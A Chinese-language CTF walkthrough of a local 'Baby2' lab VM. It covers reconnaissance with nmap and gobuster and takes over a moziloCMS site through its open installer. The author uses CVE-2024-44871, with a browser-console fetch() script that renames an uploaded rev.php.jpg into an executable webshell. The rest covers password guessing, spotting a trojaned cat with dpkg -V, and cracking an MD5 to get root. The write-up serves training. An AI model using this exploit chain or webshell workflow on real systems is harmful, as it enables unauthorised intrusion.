信息收集

```
┌──(root㉿kali)-[~]
└─# arp-scan -l | grep PCS
192.168.5.229   08:00:27:65:e5:65       PCS Systemtechnik GmbH

┌──(root㉿kali)-[~]
└─# IP=192.168.5.229

```

```
┌──(root㉿kali)-[~]
└─# nmap -sV -sC -A $IP -Pn
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-13 18:35 CST
Nmap scan report for Baby2.lan (192.168.5.229)
Host is up (0.00052s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey: 
|   3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
|   256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_  256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
80/tcp open  http    Apache httpd 2.4.62 ((Debian))
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: Site doesn't have a title (text/html).
MAC Address: 08:00:27:65:E5:65 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.52 ms Baby2.lan (192.168.5.229)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.19 seconds
```

目录扫描

```
┌──(root㉿kali)-[~]
└─# gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://$IP -x php,php3,txt,html,bk,bak,zip,tar,gz,shtml
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.5.229
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html,bk,txt,bak,zip,tar,gz,shtml,php,php3
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html                (Status: 403) [Size: 278]
/.php                 (Status: 403) [Size: 278]
/index.html           (Status: 200) [Size: 144]
/wordpress            (Status: 301) [Size: 318] [--> http://192.168.5.229/wordpress/]
/.php                 (Status: 403) [Size: 278]
/.html                (Status: 403) [Size: 278]
Progress: 730779 / 2426171 (30.12%)^C
[!] Keyboard interrupt detected, terminating.
Progress: 732124 / 2426171 (30.18%)
===============================================================
Finished
===============================================================
```

扫出来的页面是 moziloCMS 3.0，找到这个漏洞 CVE-2024-44871，但是利用这个漏洞需要有网站的管理员权限

接着扫 /wordpress

```
┌──(root㉿kali)-[~]
└─# gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://$IP/wordpress -x php,php3,txt,html,bk,bak,zip,tar,gz,shtml
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.5.229/wordpress
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,php3,txt,html,bk,tar,gz,shtml,bak,zip
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html                (Status: 403) [Size: 278]
/.php                 (Status: 403) [Size: 278]
/index.php            (Status: 200) [Size: 7196]
/admin                (Status: 301) [Size: 324] [--> http://192.168.5.229/wordpress/admin/]
/plugins              (Status: 301) [Size: 326] [--> http://192.168.5.229/wordpress/plugins/]
/install.php          (Status: 200) [Size: 6943]
/update.php           (Status: 200) [Size: 0]
/cms                  (Status: 301) [Size: 322] [--> http://192.168.5.229/wordpress/cms/]
/readme.txt           (Status: 200) [Size: 594]
/tmp                  (Status: 301) [Size: 322] [--> http://192.168.5.229/wordpress/tmp/]
/layouts              (Status: 301) [Size: 326] [--> http://192.168.5.229/wordpress/layouts/]
/gpl.txt              (Status: 200) [Size: 17996]
Progress: 130478 / 2426171 (5.38%)^C
[!] Keyboard interrupt detected, terminating.
Progress: 131337 / 2426171 (5.41%)
===============================================================
Finished
===============================================================
```

扫出来 /wordpress/install.php，先安装，设置好密码然后登录进后台，然后照做就行：https://github.com/sec-fortress/Exploits/tree/main/CVE-2024-44871

没找到重命名的入口，在控制台发包

```
const formData = new URLSearchParams();
formData.append('action', 'files');
formData.append('changeart', 'file_rename');
formData.append('curent_dir', 'willkommen'); // 文件所在目录
formData.append('orgfile', 'rev.php.jpg');    // 原始文件名
formData.append('newfile', 'rev.php');      // 新文件名

fetch('/wordpress/admin/index.php', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/x-www-form-urlencoded',
  },
  body: formData.toString()
})
.then(response => {
  if (response.ok) {
    location.reload();
  } else {
    console.error(response.status);
  }
})
.catch(error => {
  console.error(error);
});
```

然后访问 http://192.168.5.229/wordpress/kategorien/Willkommen/dateien/rev.php 执行命令 `cat /home/aristore/user.txt` 拿到 flag 和 ssh 的账密

```
flag{user-b6cc0757c4a3108795d0803f9e82b9d3}
aristore:aristorearistore
```

横向移动

ssh 连上去先

```
┌──(root㉿kali)-[~]
└─# ssh aristore@$IP
The authenticity of host '192.168.5.229 (192.168.5.229)' can't be established.
ED25519 key fingerprint is SHA256:O2iH79i8PgOwV/Kp8ekTYyGMG8iHT+YlwuYC85SbwSQ.
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:2: [hashed name]
    ~/.ssh/known_hosts:4: [hashed name]
    ~/.ssh/known_hosts:5: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.5.229' (ED25519) to the list of known hosts.
aristore@192.168.5.229's password:
Linux Baby2 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
```

```
aristore@Baby2:~$
```

在目录下发现 tuf 用户

```
aristore@Baby2:~$ ls /home
aristore  tuf
```

根据前面的密码是用户名重复两遍，因此尝试用 `tuftuf` 密码连接上，结果成功了（后来在 `/home/tuf/...` 文件发现了 `tuf:tuftuf` ）

```
tuf@Baby2:/home/aristore$ id
uid=1001(tuf) gid=1001(tuf) groups=1001(tuf)
```

提权

这里也可以由前面的规律猜出 root 的密码是用户名重复两遍 `rootroot` （但是忘记试了）

没猜到也没关系，下面是正经的解题过程

第一步可能有点非预期了，直接把 user flag 给读出来了，导致我没发现 cat 被篡改了。事实上拿到反弹 shell 后在 `/home/aristore` 下 `cat user.txt` 的话会返回一个 fake flag，然后就该意识到 cat 命令被篡改了

从群主大佬那学到了可以用 `dpkg -V` 排查

> `dpkg -V` （也就是 `dpkg --verify` ）的作用是遍历系统上所有由 dpkg 管理的软件包，并将当前安装在系统上的文件与软件包数据库中存储的原始文件信息进行比较。下面是对输出结果的解读方式：
>
> ```
> ??5?????? c /path/to/file
> ||||||||| └─ 文件的路径
> ||||||||└─ 文件的类型
> |||||||└─ 校验和 (MD5 checksum)
> ||||||└─ 设备号 (major/minor device number)
> |||||└─ 符号链接 (symlink)
> ||||└─ 所有组 (group)
> |||└─ 所有者 (owner)
> ||└─ 权限 (permissions)
> └┴─ (保留未使用)
> ```
>
> 1. 前面的9个字符 ??5??????
>
> 这9个字符代表9种不同的属性检查。如果某个属性与原始信息**一致**就会显示一个点 `.` ，如果**不一致**就会显示一个代表该属性的**大写字母**，如果是 `?` 则表示无法进行检查（比如文件丢失了）。

> - S : 文件大小 (Size)
> - M : 权限和文件类型 (Mode)
> - 5 : **MD5 校验和** (MD5sum)
> - D : 设备号 (Device)
> - L : 符号链接路径 (Link)
> - U : 文件所有者 (User)
> - G : 文件所属组 (Group)
> - T : 修改时间 (mTime)
>
> 2. 中间的单个字符 c
>
> 这个字符代表文件的类型。
>
> - c: 配置文件 (Configuration file)
> - d: 目录 (Directory)
> - f: 普通文件 (File) - *注意：如果没有特殊类型，这里会是空格*
> - l: 符号链接 (Link)
>
> 3. 最后的文件路径
>
> 被报告的文件的完整路径。

回到靶机，用 `dpkg -V` 检查一下：

```
aristore@Baby2:/tmp$ dpkg -V
??5?????? c /etc/irssi.conf
??5?????? c /etc/apache2/apache2.conf
??5??????   /bin/cat
dpkg: warning: systemd: unable to open /var/lib/polkit-1/localauthority/10-vendor.d/systemd-networkd.pkla for hash: Permission denied
??5??????   /var/lib/polkit-1/localauthority/10-vendor.d/systemd-networkd.pkla
??5?????? c /etc/grub.d/10_linux
??5?????? c /etc/grub.d/40_custom
dpkg: warning: sudo: unable to open /etc/sudoers for hash: Permission denied
??5?????? c /etc/sudoers
dpkg: warning: sudo: unable to open /etc/sudoers.d/README for hash: Permission denied
??5?????? c /etc/sudoers.d/README
dpkg: warning: inspircd: unable to open /etc/inspircd/inspircd.conf for hash: Permission denied
??5?????? c /etc/inspircd/inspircd.conf
dpkg: warning: inspircd: unable to open /etc/inspircd/inspircd.motd for hash: Permission denied
??5?????? c /etc/inspircd/inspircd.motd
dpkg: warning: inspircd: unable to open /etc/inspircd/inspircd.rules for hash: Permission denied
??5?????? c /etc/inspircd/inspircd.rules
dpkg: warning: packagekit: unable to open /var/lib/polkit-1/localauthority/10-vendor.d/org.freedesktop.packagekit.pkla for hash: Permission denied
```

```
??5???????   /var/lib/polkit-1/localauthority/10-vendor.d/org.freedesktop.packagekit.pkla
??5??????? c /etc/issue
```

发现 `cat` 命令不对劲

```
aristore@Baby2:/tmp$ strings /bin/cat
#!/bin/bash
[[ "$1" == user.txt ]] && echo "flag{fake-flag}" && exit 1
/usr/bin/cat2 "$@"
# b4b8daf4b8ea9d39568719e1e320076f
```

下面这个 md5 字符串经过查询得到 `rootroot`，最后登录 root 拿到 flag

```
aristore@Baby2:/tmp$ su root
Password:
root@Baby2:/tmp# cat /root/root.txt
flag{root-9741bedefe0f692a60ace05be4311fe5}
```